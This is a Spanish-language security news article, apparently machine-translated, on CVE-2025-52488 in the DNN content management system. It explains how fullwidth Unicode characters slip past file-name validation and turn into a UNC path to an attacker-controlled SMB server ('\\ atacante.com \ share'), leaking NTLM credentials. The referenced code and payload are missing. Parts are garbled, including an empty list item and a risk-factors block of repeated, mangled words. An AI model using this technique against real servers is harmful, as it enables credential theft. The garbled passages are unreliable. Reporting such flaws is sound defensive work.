Una vulnerabilidad crítica en DNN (anteriormente Dotnetnuke) que permite a los atacantes robar credenciales de NTLM a través de una sofisticada técnica de derivación de normalización Unicode.
La vulnerabilidad, rastreada como CVE-2025-52488, afecta uno de los sistemas de gestión de contenido de código abierto más antiguos y demuestra cómo las medidas de codificación defensiva se pueden evitar a través de una explotación inteligente de ventanas y peculiaridades .NET.
Control de llave
1. CVE-2025-52488 en DNN permite a los atacantes robar credenciales de NTLM sin requerir la autenticación del usuario.
2. Caracteres Unicode específicos (U+FF0E, U+FF3C) se normalizan en puntos y barras trastas después de pasar la validación de seguridad, pasando por alto los mecanismos de protección.
3.
4. Habilita el robo de credenciales de NTLM que afecta a las empresas y demuestra cómo la codificación defensiva se puede eludir a través de la codificación de caracteres.
Fuga de credencial NTLM
Searchlight Cyber informes que la vulnerabilidad explota una debilidad fundamental en cómo las aplicaciones .NET manejan las operaciones del sistema de archivos en las máquinas de Windows.
Cuando los atacantes controlan las rutas de archivos, pueden proporcionar rutas UNC (convenciones de nomenclatura universales) que desencadenan llamadas fuera de banda a los servidores SMB controlados por los atacantes.
Este mecanismo se vuelve particularmente peligroso cuando se combina con funciones como File.Exists, System.net.httprequest y System.net.webclient, que puede filtrar inadvertidamente las credenciales de NTLM a servidores maliciosos.
El ataque aprovecha el comportamiento de la función Path.comBine en C#, donde si el segundo argumento contiene un camino absoluto, el primer argumento se ignora por completo.
Según la documentación de Microsoft, “si un argumento que no sea el primero contiene una ruta rooteada, cualquier componente de ruta anterior se ignora y la cadena devuelta comienza con ese componente de ruta rooteado”.
Este comportamiento, aunque documentado, con frecuencia conduce a vulnerabilidades de seguridad en las bases de código C#.
El análisis técnico revela que el núcleo de esta vulnerabilidad se encuentra en el proceso de manejo de unicode de DNN.
La aplicación implementa múltiples límites de seguridad para evitar cargas de archivos maliciosos, incluidas las llamadas Path.getFileName, los reemplazos de Regex y las funciones de validación como Utility.ValidateFileName y Utility.CleanFileName.
Sin embargo, estas verificaciones de seguridad ocurren antes de la utilidad crucial. CONVERTUNICODECHARS Funcion. La sección del Código Vulnerable muestra:
La función ConvertunicodeChars contiene la vulnerabilidad crítica en esta línea:
Este proceso de normalización convierte caracteres unicode en equivalentes ASCII, sin pasar por alto todas las medidas de seguridad implementadas previamente.
Los investigadores descubrieron caracteres unicode específicos que se normalizan en componentes de ruta peligrosos:
%EF%BC%8E (U+FF0E): “Stop FullWidth Full” se normaliza a “”. %EF%BC%BC (U+FF3C): “Fullwidth Reverse Solidus” se normaliza a “”
Estos caracteres permiten a los atacantes construir nombres de archivo maliciosos que parecen seguros durante la validación inicial, pero se transforman en rutas UNC después de la normalización. La carga útil de Exploit demuestra esto:
Cuando se procesa, esto se convierte en: \\ atacante.com \ share \ file.jpg, activando una conexión SMB que filtra las credenciales de NTLM al servidor de respondedores del atacante.
Factores de riesgo Los productos afectados por DetAlsDnn: todas las versiones con dnnconnect.cke HTML Editor ProviderImpactNtlM Credential de credencial Requisitos previos: no se requiere autenticación (vulnerabilidad previa a la autorización)- Sistema de destino que ejecuta DNN con Funcional de carga de archivos- Entorno de Windows con Windows con SMB Conapacitado al atacante Controlador Controlado a NTLM recibe NTLM ha recibido NTLM ha recibido NTLM ha recibido HA HA HA HA HA HISHLM AHISHECH8.1 ESTUDIENTO DE LA COMENTACIÓN. (Alto)
Esta vulnerabilidad destaca la complejidad del manejo de Unicode en aplicaciones web y demuestra cómo las medidas de programación defensiva pueden ser socavadas por transformaciones de codificación de caracteres.
La naturaleza previa a la autenticación de esta vulnerabilidad la hace particularmente peligrosa, ya que no requiere credenciales de usuario para explotar y puede comprometer las credenciales de dominio a través de ataques de retransmisión NTLM.
Investigue el comportamiento de malware en vivo, rastree cada paso de un ataque y tome decisiones de seguridad más rápidas y inteligentes -> Prueba cualquiera.
.webp?w=1600&resize=1600,900&ssl=1){kind=link}